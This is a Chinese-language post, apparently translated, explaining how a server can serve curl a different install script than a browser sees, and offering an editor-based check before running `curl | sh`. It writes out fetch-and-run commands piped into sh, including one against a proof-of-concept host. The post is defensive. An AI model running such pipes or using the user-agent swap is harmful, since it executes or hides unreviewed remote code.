保护你自己免受 `curl | sh` 的危害

jopen 10年前

除非你最近没有安装过开发者关注的第三方软件,否则你很可能被建议使用如下命令直接从网络上进行安装。

curl -s http://example.com/install.sh | sh

本文并不是为了讨论这个方法的好坏,而是为了提醒那些使用此方法的人,这个方法除了那些明显的缺点外,它还有另一个隐患:直接将第三方数据通过管道传入shell。现在有很多关于这个方法的讨论,支持它的一种观点认为要执行的脚本是透明的——你可以在命令执行前用浏览器打开该脚本并对其进行简单的检查。

本文的主要目的在于 a)说明这种程度的信任是可以被劫持的,并且b)在使用curl安装软件时为你提供一个简便的保护方式。

概念验证 —— 一切并非表面看到的那样

直接切入正题,这种攻击基于以下原理:.sh文件的内容很容易检验其安全性,在浏览器中看到的内容与通过curl下载的内容一样。这一假设的问题在用浏览器和curl两种方式用不同的user-agent,因此如果有人知道这点并加以利用将危害这个.sh文件()。

因此,一个简单的概念定义已经出来:你可以在GitHub上看全部源代码或者看POC hosted on Heroku;POC被挂在一个免费的Heroku dyno上,所以如果打不开,很可能是已经挂掉了。

为了快速测试一下,在你检查了浏览器上.sh文件的URL后简单在终端上运行下面的命令。如果你用curl不是发出的同一个user-agent,你得到的结果将是不同的。

curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | sh

解决方案

最简单的办法是每执行一个文件前, 先查看里面的内容. 具体的方法有两种, 道理都差不多, 都是在 curl 之后, sh 之前执行; 一旦你发现有可疑的命令/代码, 只要把编辑器关掉, 并确保编辑器退出的时候, 返回一个非零错误代码.  (比如: 在 Vim 中, 你可以使用 :cq 退出). 方法1 需要安装, 方法2 输入命令的时候少打几个字. 至于用哪一个, 看你个人喜好了.

方法1) 由于Vipe 允许你把运行编辑器的命令插入 unix 管道中, 查看或修改传递给后面程序的数据. 我们可以使用 Vipe 在 sh 执行之前查看文件的内容.

curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | vipe | sh

Vipe 属于 themoreutils 软件包的一部分, 你可以在下列系统中安装:

  • Mac OSX 用 homebrew:brew install moreutils.

  • Ubuntu 用 apt:apt-get install moreutils.

  • 其他 *nix 系统, 可以使用软件源安装.

方法2) 自己定义 bash 函数. 找到 .bashrc 文件, 然后把下列代码复制进去保存就可以了:

# Safer curl | sh'ingfunction curlsh {      file=$(mktemp -t curlsh) || { echo "Failed creating file"; return; }      curl -s "$1" > $file || { echo "Failed to curl file"; return; }      $EDITOR $file || { echo "Editor quit with error code"; return; }      sh $file;      rm $file;}

调用的时候这么写:

curlsh http://pipe-to-sh-poc.herokuapp.com/install.sh

$EDITOR 是你选的编辑器, 它会在文件执行前, 将文件打开, 方便你查看里面的内容.